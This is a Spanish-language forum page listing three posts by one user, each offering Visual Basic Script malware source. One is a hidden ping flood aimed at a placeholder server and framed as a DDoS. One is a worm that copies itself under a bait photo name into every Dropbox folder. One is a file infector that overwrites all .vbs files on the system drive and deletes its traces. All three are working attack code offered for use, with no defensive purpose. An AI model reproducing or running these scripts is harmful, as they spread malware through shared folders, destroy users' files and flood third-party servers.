Últimos Temas de: .BrutuS

Mostrar Temas
Páginas: [1]

1	Seguridad Informática / Análisis y Diseño de Malware / [VBS] [SOURCE] DDOS	en: 9 Diciembre 2014, 03:40 am
Bueno no se si cuenta como un DDOS de verdad pero era lo unico que se me ocurria, sirve pero si una gran cantidad de computadoras corren el script al mismo tiempo. Código: Dim Shell Set Shell = CreateObject("WScript.Shell") Shell.run "%comspec%" & " /c ping " & "servidor.com" & " -l " & "65500" & " -t",0

Seguridad Informática / Análisis y Diseño de Malware / [VBS] [SOURCE] Dropbox Spread

en: 9 Diciembre 2014, 03:33 am

Infecta todas las carpetas de Dropbox del usuario.

Código:

'[VBS] Dropbox Spread by BrutuS
Dim FSO, ObjTextFile
Dim Shell 
Set Shell = CreateObject("WScript.Shell") 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True) 
FSO.CopyFile Wscript.ScriptFullName, "FotoYucha.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("copy /y FotoYucha.vbs %UserProfile%\Dropbox")
ObjTextFile.WriteLine("DIR /S/B %UserProfile%\Dropbox >> Config.txt") 
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y FotoYucha.vbs ""%%j:%%k""") 
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q FotoYucha.vbs")  
ObjTextFile.WriteLine("del /f /q %0") 
ObjTextFile.Close
Shell.Run "Copy.bat", 0

Seguridad Informática / Análisis y Diseño de Malware / [VBS] [SOURCE] Infectar Archivos Locales

en: 9 Diciembre 2014, 03:29 am

Infecta todos los archivos *.vbs en el disco principal.

Código:

'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell 
Set Shell = CreateObject("WScript.Shell") 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True) 
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt") 
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""") 
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs")  
ObjTextFile.WriteLine("del /f /q %0") 
ObjTextFile.Close
Shell.Run "Copy.bat", 0

Páginas: [1]